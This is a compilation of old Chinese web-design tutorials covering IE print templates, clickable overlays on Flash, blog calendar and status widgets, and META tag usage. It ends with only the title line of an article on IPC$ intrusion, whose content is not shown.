<style TYPE="text/css"> .Mystyle1 { width:8.5in; height:11in; background:#FFFF99; border-left:1 solid black; border-top:1 solid black; border-right:4 solid black; border-bottom:4 solid black; margin:10px; } </style>
下面我们给出 DeviceRect 引用的完全页面代码,
<HTML XMLNS:IE> <HEAD> <?IMPORT NAMESPACE="IE" IMPLEMENTATION="#default"> <style TYPE="text/css"> .Mystyle1 { width:8.5in; height:11in; background:#FFFF99; border-left:1 solid black; border-top:1 solid black; border-right:4 solid black; border-bottom:4 solid black; margin:10px; } </style> </HEAD> <BODY>
<IE:DEVICERECT ID="page1" CLASS="Mystyle1" MEDIA="print"> </IE:DEVICERECT>
<IE:DEVICERECT ID="page2" CLASS="Mystyle1" MEDIA="print"> </IE:DEVICERECT>
</BODY> </HTML>
在这个页面中,共进行了两个 DeviceRect 引用。作为一种规则,每一个单独的打印页面,必须有一个相对应的 DeviceRect 标记,如果有 1000 个页面,那就得有 1000 个 DeviceRect 标记!吓住了?别担心,后面我们会教你一个方法,让所有的 DeviceRect 标记自动完成!
在上面的代码中,ID 是标志属性,不同的页面必须有自己不同的标识;CLASS 引用了 style 属性;MEDIA 属性则指明了本页面的最终用途是进行打印;<?IMPORT NAMESPACE="IE" IMPLEMENTATION="#default">这句话则是指输入默认的行为,它们分别是 DeviceRect, LayoutRect。
二.LayoutRect ,定义页面内容风格:
跟 DeviceRect 一样,不同的页面,要进行 LayoutRect 引用时都需要添加 LayoutRect 标记,其智能添加方法将在后面介绍; LayoutRect 与 DeviceRect 如果在同一个页面中同时出现,则前者需放在后者之内;另外, LayoutRect 对内容风格的设定,也通过 style 得以实现。
例二:我们来定制如下的内容风格的打印模板:
5.5 inches 宽 8 inches 高 与打印纸张边缘,四边保持 1 inch 的宽度(加上页面本身的边缘宽度,为实际的打印边缘宽度) 白色背景 1 inch 宽的虚线边界
先定制名为 contentstyle 的风格:
<style TYPE="text/css"> .contentstyle { width:5.5in; height:8in; margin:1in; background:white; border:1 dashed gray; } </style>
然后下面是进行引用的完整网页代码:
<HTML> <HEAD> <?IMPORT NAMESPACE="IE" IMPLEMENTATION="#default"> <style TYPE="text/css"> .contentstyle { width:5.5in; height:8in; margin:1in; background:white; border:1 dashed gray; } </style> </HEAD>
<BODY> <IE:LAYOUTRECT ID="layoutrect1" CONTENTSRC="2.html" CLASS="contentstyle" NEXTRECT="layoutrect2"/>
<IE:LAYOUTRECT ID="layoutrect2" CLASS="contentstyle"/> </BODY> </HTML>
跟例一中的源代码相比,例二中只是以 LayoutRect 代替了原来的 DeviceRect 标记;DeviceRect 定制的是模板整体风格,而 LayoutRect 定制的是具体内容的版面风格;LayoutRect 的 ID 属性也具有唯一性; CONTENTSRC 属性则指明了具体的将起作用网页文件;CLASS 指明了风格的引用对象;跟 DeviceRect 不同,在进行 LayoutRect 引用时,必须在每个页面指定 NEXTREC ,即依次排列的下一个内容风格,这里的"下一个内容"用其页面的相应 ID 进行标识,如本例中的 LayoutRect2 。
三.DeviceRect 与 LayoutRect 的协同作战:
上面我们分别讨论了 DeviceRect 与 LayoutRect 的作用与引用方法,现在我们来看一下,如何在同一个打印模板中进行定制与引用。
在每一个打印模板上,必然包含两方面的内容,一个是整体的模板风格(DeviceRect),另一个是内容风格(LayoutRect);第一个打印页面跟其他页面是不同的,因为第一个页面中必须指明 CONTENTSRC 属性,而同一打印任务中的其他页面不再需要进行 CONTENTSRC 的指定。
例三:
下面是第一个页面中的 DeviceRect 代码:
<IE:DEVICERECT ID="page1" CLASS="masterstyle" MEDIA="print"> <IE:LAYOUTRECT ID="layoutrect1" CONTENTSRC="2.html" CLASS="contentstyle" NEXTRECT="layoutrect2"/> </IE:DEVICERECT>
下面是其他页面中的 DeviceRect 代码:
<IE:DEVICERECT ID="page2" CLASS="masterstyle" MEDIA="print"> <IE:LAYOUTRECT ID="layoutrect2" CLASS="contentstyle"/> </IE:DEVICERECT>
下面我们将 DeviceRect 与 LayoutRect 结合起来使用,其源代码如下:
<HTML XMLNS:IE> <HEAD> <?IMPORT NAMESPACE="IE" IMPLEMENTATION="#default"> <style TYPE="text/css"> .contentstyle { width:5.5in; height:8in; margin:1in; background:white; border:1 dashed gray; } .Mystyle1 { width:8.5in; height:11in; background:#FFFF99; border-left:1 solid black; border-top:1 solid black; border-right:4 solid black; border-bottom:4 solid black; margin:10px; } </style> </HEAD>
<BODY> <IE:DEVICERECT ID="page1" CLASS="Mystyle1" MEDIA="print"> <IE:LAYOUTRECT ID="layoutrect1" CONTENTSRC="2.html" CLASS="contentstyle" NEXTRECT="layoutrect2"/> </IE:DEVICERECT>
<IE:DEVICERECT ID="page2" CLASS="Mystyle1" MEDIA="print"> <IE:LAYOUTRECT ID="layoutrect2" CLASS="contentstyle"/> </IE:DEVICERECT>
</BODY> </HTML>
四.DeviceRect 与 LayoutRect 标记的动态自动添加:
前面我们说到,每个单独的打印页面都需要各自的 DeviceRect 与 LayoutRect 标记,那么,如果我们有 1000 个页面需要打印,是否就要在每个页面上重复繁琐的 Copy & Paste 操作?
答案是否定的,我们完全可以通过 JavaScript 脚本来完成这一繁琐的工作。
要实现 HTML 声明的动态创建,关键在于 <DIV> 标记的定义,下面是其定义规则。
<DIV ID="devicecontainer"> ...... </DIV>
<DIV>与</DIV>之间,采用 insertAdjacentHTML() 方式,并主要利用了其 afterBegin 与 BeforeEnd 两个变量,现在我们将第一个页面"插入"到<DIV></DIV>之间:
devicecontainer.insertAdjacentHTML("afterBegin", newHTML);
具有继承属性的后续页面,调用 beforeEnd 变量:
devicecontainer.insertAdjacentHTML("beforeEnd", newHTML);
要装载 devicecontainer 页面,还需在 <Body>中添加:
<BODY ONLOAD="addFirstPage()">
现在我们在 JavaScript 中添加包含前面详细介绍的 LayoutRect 与 DeviceRect 元素,用到的命令是 addFirstPage() 。需要注意的是,newHTML 标记后使用的是双引号,而 LayoutRect 与 DeviceRect 标记后的变量使用单引号。如下:
function addFirstPage() { newHTML = "<IE:DEVICERECT ID='devicerect1' MEDIA='print' CLASS='mystyle1'>"; newHTML += "<IE:LAYOUTRECT ID='layoutrect1' CONTENTSRC='2.html'" + "ONLAYOUTCOMPLETE='onPageComplete()' NEXTRECT='layoutrect2'" + "CLASS='contentstyle'/>"; newHTML += "</IE:DEVICERECT>";
devicecontainer.insertAdjacentHTML("afterBegin", newHTML); }
细心的读者一定会发现,LayoutRect 后出现了一个新的属性:LayoutRect:onLayoutComplete ,这个属性主要指定了 LayoutRect 停止响应的后续事件,如系统资源消耗殆尽而停止响应,或者 LayoutRect 指定的变量溢出。
好了,有了上面的原理,下面我们来编写具有自动"插入"功能的 JavaScript 代码:
function onPageComplete() { if (event.contentOverflow) { newHTML = "<IE:DEVICERECT ID='devicerect" + (lastPage + 1) + "' MEDIA='print' CLASS='mystyle1'>"; newHTML += "<IE:LAYOUTRECT ID='layoutrect" + (lastPage + 1) + "' ONLAYOUTCOMPLETE='onPageComplete()' NEXTRECT='layoutrect" + (lastPage + 2) + "' CLASS='contentstyle'/>"; newHTML += "</IE:DEVICERECT>";
devicecontainer.insertAdjacentHTML("beforeEnd", newHTML); lastPage++; }
在上面的代码中,contentOverflow 代表的是由于页面信息过长,本页的 LayoutRect 停止响应,则直接跳到下一个页面,让 LayoutRect 重新定义下一个页面的版面;onPageComplete() 则不管页面是否过长,LayoutRect 是否停止响应,只要到了页面尾部则自动跳到下一页,这也是最常见的情况。
在编写本脚本时,关键处在于保持清醒,不能让任意一个变量出错。其中,ID 不仅针对 DeviceRect 与 LayoutRect ,还为 NextRect 所引用,页面指向不能出错;当前页面的页码应该是 lastPage+1 ,下一个页面的页码应该是 lastPage+2 ;NextRect 标记需要下一个页面的 LayoutRect 属性支持,因此它的值应该为 "layoutRect"+(lastPage+2);打开第一个页面时,这个 LastPage 初始值为 1 |
|
怎么给网页中的Flash上加超连接
|
来源: 未知
作者: Azmore
更新日期: [2005-02-23]
说到这个问题,可能有人就会说,那还不简单,直接用flash的ActionScript中的url方法不就搞定了,那么如果我们的UI人员设计完flash,但flash对应的链结还没有确定或者以后会变更怎么办?我需要的是能够在外部修改flash对应的链结。
那直接在flash所在的object元素外部加<a></a>标签来控制不就行了,可能有些人会这么想,思路正确,但是行不通。呵呵,怎么办?百度一下先,呵呵,真是相当佩服某些人的牛脑,真牛,下面是一种解决的方法:
首先,我们肯定是要先插入FLASH.因为,Flash默认是最高层.所以, 我经常会遇见Flash把下拉菜单挡住的情况. 把Flash文件放到一个层中,设为最底层,FLASH设为透明. <div style="z-index:-1"> <!--1.设置FLASH为底层--> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="200" height="115"> <param name="movie" value="media.swf"> <param name="quality" value="high"> <embed src="media.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="200" height="115"></embed> <param name="wmode" value="transparent"> <!--2.必须把FLASH设置为透明--> </object> </div>
再接下来,就是在FLASH的层上再加上一层, Flash本身不能直接加入onclick.等事件,所以,只能借助别的东西啦. 就是在FLASH上加个透明层, <div id="huiLayer" style="cursor: hand; position:absolute; left:10px; top:10px; width:200px; height:115px; z-index:1; visibility: visible;"><a href="http://www.cnlk.com"> <img src="kong.gif" width="200" height="115" border="0"></a></div> 论坛上面,给了一些解决方法,就是加个透明的层,但是,如果光有个透明层, 还是不能接受事件的. 更确切地说,是一部分可以,一部分不可以,和FLASH部分重叠的那一部分不行. 为什么不行.说实话,我也不清楚,我是试验得出来的...
当我把这个层的背景颜色设为任意一种时,不是透明时,发现.可以接受事件了,在层上加了个 超连接,也可以.. 但是,这还不是我们要的结果.因为,把整个"精美"的FLASH给遮盖了.. 所以,有<img src="kong.gif" width="200" height="115" border="0"> 我用PhotoShop做了个透明的图片kong.gif 大小都可以,但是必须是透明的!这样 才不至于把底下的FLASH给遮盖住了. 试验了一下... 成功了... 点击FLASH.其实是击中了FLASH上层的透明图片kong.gif 图片,就可以接受很多事件啦,onclick , onmouseover ,onmosueout ...... 给图片加个<a></a>超连接是再简单不过的事啦.. 这时,以上的问题是不是都解决了,把事件都给kong.gif接受! 单击事件, <div onclick="ok()" id="huiLayer" ........... 不管是坐火车,还是飞飞机,过年都得回家,所以方法还是有的,Flash本身还提供了一种方法,相当的好用,就是在Flash内部通过FSCommand调用外部的脚本,个人认为这种方法简单实用,可控能力强,具体用法,就不在这里多说了,你在网上搜FSCommand关键键字就会啊到很多实例,不过还是有一点提示:在提供javascript版本的调用方法时,最好也提供一个vbscript的版本,否则调用可能会不成功。
|
|
在blog中显示天气预报、日历、时钟、MSN、QQ在线状态(转载自CSDN)
|
<!-- 时钟clock_035.swf 的035为时钟样式,可自己选择 --> <EMBED SRC=http://www.butabon.com/Clock/clock_035.swf WIDTH=150 HEIGHT=150 wmode=transparent quality=high loop=true menu=false>
<!-- Blog日历表开始 --> <script language="javascript"> var diarydays="<2004-08-05><2004-08-09><2004-08-12><2004-08-17><2004-08-19><2004-07-14><2004-07-13><2004-07-08><2004-07-05><2004-07-04><2004-07-03><2004-06-27><2004-06-26><2004-06-25>"; </script> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <style> .calendarBigBorder { font-family: "Arial", "Helvetica", "sans-serif", "宋体"; text-decoration: none; width: 170; background-color: #FFFFFF; font-size: 9pt;border:1px dotted #999; } .calendarTd { font-family: "Arial", "Helvetica", "sans-serif", "宋体"; font-size: 9pt; color: #000000; background-color: #eeeeee; height: 18px; width: 11%; text-align: center;} .calendarMInput { font-family: "Arial", "Helvetica", "sans-serif", "宋体"; font-size: 9pt; text-decoration: none; background-color: #FFFFFF; height: 15px; border: 1px solid #666666; width: 19px; color: #0099FF;} .calendarYInput { font-family: "Arial", "Helvetica", "sans-serif", "宋体"; font-size: 9pt; color: #0099FF; text-decoration: none; background-color: #FFFFFF; height: 15px; width: 34px; border: 1px solid #666666;} .calendarMonthTitle { font-family: "Arial", "Helvetica", "sans-serif", "宋体"; font-size: 9pt; font-weight: normal; height: 24px; text-align: center; color: #333333; text-decoration: none; background-color: #eeeeee; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-bottom-style: none; border-top-color: #999999; border-right-color: #999999; border-bottom-color: #999999; border-left-color: #999999;} .calendarNow { font-family: "Arial", "Helvetica", "sans-serif", "宋体"; font-size: 9pt; font-weight: bold; color: #000000; background-color: #C0C9D3; height: 18px; text-align: center;} .calendarDaySat { font-family: "Arial", "Helvetica", "sans-serif", "宋体"; font-size: 9pt; color: #333333; text-decoration: none; background-color: #eeeeee; text-align: center; height: 18px; width: 12%;} .calendarDaySun { font-family: "Arial", "Helvetica", "sans-serif", "宋体"; font-size: 9pt; color: #333333; text-decoration: none; background-color: #eeeeee; text-align: center; height: 18px; width: 12%;} .calendarLink { font-family: "Arial", "Helvetica", "sans-serif", "宋体"; font-size: 9pt; font-weight: normal; color: #333333; text-decoration: none; background-color: #E7E7F6; text-align: center; height: 18px;} .categoryTxt { font-family: "Arial", "Helvetica", "sans-serif", "宋体"; font-size: 9pt; line-height: 23px; color: #333333; text-decoration: none;} .categoryTable { border-right-width: 1px; border-bottom-width: 1px; border-right-style: solid; border-bottom-style: solid; border-left-style: none; border-right-color: #000000; border-bottom-color: #000000; border-top-width: 1px; border-top-style: solid; border-top-color: #71b99c;} </style> <SCRIPT LANGUAGE="JavaScript"> var months = new Array("一", "二", "三","四", "五", "六", "七", "八", "九","十", "十一", "十二"); var daysInMonth = new Array(31, 28, 31, 30, 31, 30, 31, 31,30, 31, 30, 31); var days = new Array("日","一", "二", "三","四", "五", "六"); var classTemp; var calendarHover="calendarHover"; var today=new getToday(); var year=today.year; var month=today.month; var newCal; //得到某月天数 function getDays(month, year) { if (1 == month) return ((0 == year % 4) && (0 != (year % 100))) ||(0 == year % 400) ? 29 : 28; else return daysInMonth[month]; } //得到当天时间信息 function getToday() { this.now = new Date(); this.year = this.now.getFullYear(); this.month = this.now.getMonth(); this.day = this.now.getDate(); } //生成日历 function Calendar() { newCal = new Date(year,month,1); //当前月的第一天 today = new getToday(); var day = -1; //用来判断日历中是否为当天 var startDay = newCal.getDay(); //当月开始时间 var endDay=getDays(newCal.getMonth(), newCal.getFullYear());//当月结束时间 var daily = 0; //用来生成日历中的天数值 if ((today.year == newCal.getFullYear()) &&(today.month == newCal.getMonth())) day = today.day; var caltable = document.all.caltable.tBodies.calendar; //得到日历表格的集合 var intDaysInMonth =getDays(newCal.getMonth(), newCal.getFullYear()); //得到当月天数 //生成日历 for (var intWeek = 0; intWeek < caltable.rows.length;intWeek++) for (var intDay = 0;intDay < caltable.rows[intWeek].cells.length;intDay++) { var cell = caltable.rows[intWeek].cells[intDay]; //得到单元袼 //生成字符串用于判断当天是否有日志 var montemp=(newCal.getMonth()+1)<10?("0"+(newCal.getMonth()+1)):(newCal.getMonth()+1); if ((intDay == startDay) && (0 == daily)){ daily = 1;} var daytemp=daily<10?("0"+daily):(daily); var d="<"+newCal.getFullYear()+"-"+montemp+"-"+daytemp+">"; //选择样式 if(day==daily) cell.className="calendarNow"; else if(diarydays.indexOf(d)!=-1) cell.className="calendarLink"; else if(intDay==6) cell.className = "calendarDaySat"; else if (intDay==0) cell.className ="calendarDaySun"; else cell.className="calendarTd"; //生成值 if ((daily > 0) && (daily <= intDaysInMonth)) { cell.innerText = daily; daily++; } else cell.innerText = ""; } document.all.year.value=year; document.all.month.value=month+1; }
function subMonth() { if ((month-1)<0) { month=11; year=year-1; } else { month=month-1; } Calendar(); } function addMonth() { if((month+1)>11) { month=0; year=year+1; } else { month=month+1; } Calendar(); } //得到响应事件 function getDiary() { var mon=(newCal.getMonth()+1)<10?("0"+(newCal.getMonth()+1)):(newCal.getMonth()+1); var day=event.srcElement.innerText<10?("0"+event.srcElement.innerText):(event.srcElement.innerText); var d="<"+newCal.getFullYear()+"-"+mon+"-"+day+">"; if ("TD" == event.srcElement.tagName) if (("" != event.srcElement.innerText)&&(diarydays.indexOf(d)!=-1)) { diary.location="/foxmail/archive/"+newCal.getFullYear()+"/"+mon+"/"+day+".aspx"; window.location.href = diary.location; } }
function setDate() { if (document.all.month.value<1||document.all.month.value>12) { alert("月的有效范围在1-12之间!"); return; } year=Math.ceil(document.all.year.value); month=Math.ceil(document.all.month.value-1); Calendar(); } </SCRIPT> <table border="0" cellpadding="0" cellspacing="1" class="calendarBigBorder" id="caltable" width="200"> <thead> <tr align="center" valign="middle"> <td colspan="7" class="calendarMonthTitle"> <input name="year" type="text" class="calendarYInput" size="3" maxlength="4" onkeydown="if (event.keyCode==13){setDate()}" onkeyup="this.value=this.value.replace(/[^0-9]/g,'')" onpaste="this.value=this.value.replace(/[^0-9]/g,'')">年 <input name="month" type="text" class="calendarMInput" size="1" maxlength="2" onkeydown="if (event.keyCode==13){setDate()}" onkeyup="this.value=this.value.replace(/[^0-9]/g,'')" onpaste="this.value=this.value.replace(/[^0-9]/g,'')">月 [<a onClick="addMonth()" href="javascript:;">下月</a>] [<a onClick="subMonth()" href="javascript:;">上月</a>]</td> </tr> <tr align="center" valign="middle"> <SCRIPT LANGUAGE="JavaScript"> document.write("<TD class=calendarDaySun id=diary>" + days[0] + "</TD>"); for (var intLoop = 1; intLoop < days.length-1; intLoop++) document.write("<TD class=calendarTd id=diary>" + days[intLoop] + "</TD>"); document.write("<TD class=calendarDaySat id=diary>" + days[intLoop] + "</TD>"); </SCRIPT> </TR> </thead> <TBODY border=1 cellspacing="0" cellpadding="0" ID="calendar" ALIGN=CENTER ONCLICK="getDiary()" onmouseup=document.selection.empty() oncontextmenu="return false" onselectstart="return false" ondragstart="return false" onbeforecopy="return false" oncopy=document.selection.empty() onselect=document.selection.empty()> <SCRIPT LANGUAGE="JavaScript"> for (var intWeeks = 0; intWeeks < 6; intWeeks++) { document.write("<TR style='cursor:hand'>"); for (var intDays = 0; intDays < days.length;intDays++) document.write("<TD class=calendarTd onMouseover='{classTemp=this.className;this.className=calendarHover}' onMouseOut='this.className=classTemp'></TD>"); document.write("</TR>"); } </SCRIPT> </tbody> </table> <script LANGUAGE="JavaScript"> Calendar(); </script> <!-- Blog日历表结束 -->
<!-- 天气预报 注意这里涉及到编码问题,%B1%B1%BE%A9为城市代码,可用百度查一下,比如输入北京,地址栏中就会出现%B1%B1%BE%字样的内容--> <center><iframe width=157 height=240 frameborder=0 scrolling=NO src='http://appnews.qq.com/cgi-bin/news_qq_search?city=%B1%B1%BE%A9'></iframe></center>
<!-- 显示msn在线状态,注意:必须在msn中设置允许所有人查看你的状态才有效,否则msn图标永远发灰 --> <A HREF="http://snind.gotdns.com:8080/message/msn/你的msn用户名"> <IMG SRC="http://snind.gotdns.com:8080/msn/你的msn用户名" align="absmiddle" border="0" ALT="MSN Online Status Indicator" onerror="this.onerror=null;this.src='http://snind.gotdns.com:8080/image/msnunknown.gif';">
<!-- QQ在线状态显示 --> </A><br>QQ:你的号码<img src="http://icon.tencent.com/你的号码/l/612/"> |
|
HTML页面HEAD信息介绍
|
作者: Simonzy
注:在本文的收集整理中,如有不全的地方和或有误的地方,请斧正,谢谢!
您的个人网站即使做得再精彩,在“浩瀚如海”的网络空间中,也如一叶扁舟不易为人发现,如何推广个人网站,人们首先想到的方法无外乎以下几种: ● 在搜索引擎中登录自己的个人网站 ● 在知名网站加入你个人网站的链接 ● 在论坛中发帖子宣传你的个人网站
META标签是HTML语言HEAD区的一个辅助性标签,它位于HTML文档头部的<HEAD>标记和<TITLE>标记之间,它提供用户不可见的信息。meta标签通常用来为搜索引擎robots定义页面主题,或者是定义用户浏览器上的cookie;它可以用于鉴别作者,设定页面格式,标注内容提要和关键字;还可以设置页面使其可以根据你定义的时间间隔刷新自己,以及设置RASC内容等级,等等。
下面介绍一些有关 标记的例子及解释。
META标签分两大部分:HTTP标题信息(HTTP-EQUIV)和页面描述信息(NAME)。
※ HTTP-EQUIV
HTTP-EQUIV类似于HTTP的头部协议,它回应给浏览器一些有用的信息,以帮助正确和精确地显示网页内容。常用的HTTP-EQUIV类型有:
1、Content-Type和Content-Language (显示字符集的设定)
说明:设定页面使用的字符集,用以说明主页制作所使用的文字已经语言,浏览器会根据此来调用相应的字符集显示page内容。
用法:<Meta http-equiv="Content-Type" Content="text/html; Charset=gb2312"> <Meta http-equiv="Content-Language" Content="zh-CN">
注意: 该META标签定义了HTML页面所使用的字符集为GB2132,就是国标汉字码。如果将其中的“charset=GB2312”替换成“BIG5”,则该页面所用的字符集就是繁体中文Big5码。当你浏览一些国外的站点时,IE浏览器会提示你要正确显示该页面需要下载xx语支持。这个功能就是通过读取HTML页面META标签的Content-Type属性而得知需要使用哪种字符集显示该页面的。如果系统里没有装相应的字符集,则IE就提示下载。其他的语言也对应不同的charset,比如日文的字符集是“iso-2022-jp ”,韩文的是“ks_c_5601”。 Content-Type的Content还可以是:text/xml等文档类型; Charset选项:ISO-8859-1(英文)、BIG5、UTF-8、SHIFT-Jis、Euc、Koi8-2、us-ascii, x-mac-roman, iso-8859-2, x-mac-ce, iso-2022-jp, x-sjis, x-euc-jp,euc-kr, iso-2022-kr, gb2312, gb_2312-80, x-euc-tw, x-cns11643-1,x-cns11643-2等字符集;Content-Language的Content还可以是:EN、FR等语言代码。
2、Refresh (刷新)
说明:让网页多长时间(秒)刷新自己,或在多长时间后让网页自动链接到其它网页。 用法:<Meta http-equiv="Refresh" Content="30"> <Meta http-equiv="Refresh" Content="5; Url=http://www.xia8.net"> 注意:其中的5是指停留5秒钟后自动刷新到URL网址。
3、Expires (期限)
说明:指定网页在缓存中的过期时间,一旦网页过期,必须到服务器上重新调阅。 用法:<Meta http-equiv="Expires" Content="0"> <Meta http-equiv="Expires" Content="Wed, 26 Feb 1997 08:21:57 GMT"> 注意:必须使用GMT的时间格式,或直接设为0(数字表示多少时间后过期)。
4、Pragma (cach模式)
说明:禁止浏览器从本地机的缓存中调阅页面内容。 用法:<Meta http-equiv="Pragma" Content="No-cach"> 注意:网页不保存在缓存中,每次访问都刷新页面。这样设定,访问者将无法脱机浏览。
5、Set-Cookie (cookie设定)
说明:浏览器访问某个页面时会将它存在缓存中,下次再次访问时就可从缓存中读取,以提高速度。当你希望访问者每次都刷新你广告的图标,或每次都刷新你的计数器,就要禁用缓存了。通常HTML文件没有必要禁用缓存,对于ASP等页面,就可以使用禁用缓存,因为每次看到的页面都是在服务器动态生成的,缓存就失去意义。如果网页过期,那么存盘的cookie将被删除。 用法:<Meta http-equiv="Set-Cookie" Content="cookievalue=xxx; expires=Wednesday, 21-Oct-98 16:14:21 GMT; path=/"> 注意:必须使用GMT的时间格式。
6、Window-target (显示窗口的设定)
说明:强制页面在当前窗口以独立页面显示。 用法:<Meta http-equiv="Widow-target" Content="_top"> 注意:这个属性是用来防止别人在框架里调用你的页面。Content选项:_blank、_top、_self、_parent。
7、Pics-label (网页RSAC等级评定) 说明:在IE的Internet选项中有一项内容设置,可以防止浏览一些受限制的网站,而网站的限制级 别就是通过该参数来设置的。 用法:<META http-equiv="Pics-label" Contect= "(PICS-1.1'http://www.rsac.org/ratingsv01.html' I gen comment 'RSACi North America Sever' by 'inet@microsoft.com' for 'http://www.microsoft.com' on '1997.06.30T14:21-0500' r(n0 s0 v0 l0))">
注意:不要将级别设置的太高。RSAC的评估系统提供了一种用来评价Web站点内容的标准。用户可以设置Microsoft Internet Explorer(IE3.0以上)来排除包含有色情和暴力内容的站点。上面这个例子中的HTML取自Microsoft的主页。代码中的(n 0 s 0 v 0 l 0)表示该站点不包含不健康内容。级别的评定是由RSAC,即美国娱乐委员会的评级机构评定的,如果你想进一步了解RSAC评估系统的等级内容,或者你需要评价自己的网站,可以访问RSAC的站点:http://www.rsac.org/。
8、Page-Enter、Page-Exit (进入与退出)
说明:这个是页面被载入和调出时的一些特效。 用法:<Meta http-equiv="Page-Enter" Content="blendTrans(Duration=0.5)"> <Meta http-equiv="Page-Exit" Content="blendTrans(Duration=0.5)"> 注意:blendTrans是动态滤镜的一种,产生渐隐效果。另一种动态滤镜RevealTrans也可以用于页面进入与退出效果:
<Meta http-equiv="Page-Enter" Content="revealTrans(duration=x, transition=y)"> <Meta http-equiv="Page-Exit" Content="revealTrans(duration=x, transition=y)">
Duration 表示滤镜特效的持续时间(单位:秒) Transition 滤镜类型。表示使用哪种特效,取值为0-23。
0 矩形缩小 1 矩形扩大 2 圆形缩小 3 圆形扩大 4 下到上刷新 5 上到下刷新 6 左到右刷新 7 右到左刷新 8 竖百叶窗 9 横百叶窗 10 错位横百叶窗 11 错位竖百叶窗 12 点扩散 13 左右到中间刷新 14 中间到左右刷新 15 中间到上下 16 上下到中间 17 右下到左上 18 右上到左下 19 左上到右下 20 左下到右上 21 横条 22 竖条 23 以上22种随机选择一种
9、MSThemeCompatible (XP主题) 说明:是否在IE中关闭 xp 的主题 用法:<Meta http-equiv="MSThemeCompatible" Content="Yes"> 注意:关闭 xp 的蓝色立体按钮系统显示样式,从而和win2k 很象。
10、IE6 (页面生成器) 说明:页面生成器generator,是ie6 用法:<Meta http-equiv="IE6" Content="Generator"> 注意:用什么东西做的,类似商品出厂厂商。
11、Content-Script-Type (脚本相关) 说明:这是近来W3C的规范,指明页面中脚本的类型。 用法:<Meta http-equiv="Content-Script-Type" Content="text/javascript"> 注意:
※NAME变量
name是描述网页的,对应于Content(网页内容),以便于搜索引擎机器人查找、分类(目前几乎所有的搜索引擎都使用网上机器人自动查找meta值来给网页分类)。 name的value值(name="")指定所提供信息的类型。有些值是已经定义好的。例如description(说明)、keyword(关键字)、refresh(刷新)等。还可以指定其他任意值,如:creationdate(创建日期) 、 document ID(文档编号)和level(等级)等。 name的content指定实际内容。如:如果指定level(等级)为value(值),则Content可能是beginner(初级)、intermediate(中级)、advanced(高级)。
1、Keywords (关键字) 说明:为搜索引擎提供的关键字列表 用法:<Meta name="Keywords" Content="关键词1,关键词2,关键词3,关键词4,……"> 注意:各关键词间用英文逗号“,”隔开。META的通常用处是指定搜索引擎用来提高搜索质量的关键词。当数个META元素提供文档语言从属信息时,搜索引擎会使用lang特性来过滤并通过用户的语言优先参照来显示搜索结果。例如: <Meta name="Kyewords" Lang="EN" Content="vacation,greece,sunshine"> <Meta name="Kyewords" Lang="FR" Content="vacances,grè:ce,soleil">
2、Description (简介) 说明:Description用来告诉搜索引擎你的网站主要内容。 用法:<Meta name="Description" Content="你网页的简述"> 注意:
3、Robots (机器人向导) 说明:Robots用来告诉搜索机器人哪些页面需要索引,哪些页面不需要索引。Content的参数有all、none、index、noindex、follow、nofollow。默认是all。 用法:<Meta name="Robots" Content="All|None|Index|Noindex|Follow|Nofollow"> 注意:许多搜索引擎都通过放出robot/spider搜索来登录网站,这些robot/spider就要用到meta元素的一些特性来决定怎样登录。
all:文件将被检索,且页面上的链接可以被查询; none:文件将不被检索,且页面上的链接不可以被查询;(和 "noindex, no follow" 起相同作用) index:文件将被检索;(让robot/spider登录) follow:页面上的链接可以被查询; noindex:文件将不被检索,但页面上的链接可以被查询;(不让robot/spider登录) nofollow:文件将不被检索,页面上的链接可以被查询。(不让robot/spider顺着此页的连接往下探找)
4、Author (作者) 说明:标注网页的作者或制作组 用法:<Meta name="Author" Content="张三,abc@sohu.com"> 注意:Content可以是:你或你的制作组的名字,或Email
5、Copyright (版权) 说明:标注版权 用法:<Meta name="Copyright" Content="本页版权归Zerospace所有。All Rights Reserved"> 注意:
6、Generator (编辑器) 说明:编辑器的说明 用法:<Meta name="Generator" Content="PCDATA|FrontPage|"> 注意:Content="你所用编辑器"
7、revisit-after (重访) 说明: 用法:<META name="revisit-after" CONTENT="7 days" > 注意:
※Head中的其它一些用法
1、scheme (方案) 说明:scheme can be used when name is used to specify how the value of content should be interpreted. 用法:<meta scheme="ISBN" name="identifier" content="0-14-043205-1" /> 注意:
2、Link (链接) 说明:链接到文件 用法:<Link href="soim.ico" rel="Shortcut Icon"> 注意:很多网站如果你把她保存在收件夹中后,会发现它连带着一个小图标,如果再次点击进入之后还会发现地址栏中也有个小图标。现在只要在你的页头加上这段话,就能轻松实现这一功能。<LINK> 用来将目前文件与其它 URL 作连结,但不会有连结按钮,用於 <HEAD> 标记间, 格式如下: <link href="URL" rel="relationship"> <link href="URL" rev="relationship">
3、Base (基链接) 说明:插入网页基链接属性 用法:<Base href="http://www.csdn.net/" target="_blank"> 注意:你网页上的所有相对路径在链接时都将在前面加上“http://www.cn8cn.com/”。其中target="_blank"是链接文件在新的窗口中打开,你可以做其他设置。将“_blank”改为“_parent”是链接文件将在当前窗口的父级窗口中打开;改为“_self”链接文件在当前窗口(帧)中打开;改为“_top”链接文件全屏显示。
<head> <title>文件头,显示在浏览器标题区</title> <meta http-equiv="Content-Language" content="zh-cn"> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <meta name="GENERATOR" content="Microsoft FrontPage 4.0"> <meta name="ProgId" content="FrontPage.Editor.Document"> <meta name="制作人" content="Simonzy"> <meta name="主题词" content="HTML 网页制作 C# .NET JavaScript JS"> </head>
以上是META标签的一些基本用法,其中最重要的就是:Keywords和Description的设定。为什么呢?道理很简单,这两个语句可以让搜索引擎能准确的发现你,吸引更多的人访问你的站点!根据现在流行搜索引擎(Google,Lycos,AltaVista等)的工作原理,搜索引擎先派机器人自动在WWW上搜索,当发现新的网站时,便于检索页面中的Keywords和Description,并将其加入到自己的数据库,然后再根据关键词的密度将网站排序。 |
|
一份详尽的IPC$入侵资料
|
作者: godttj
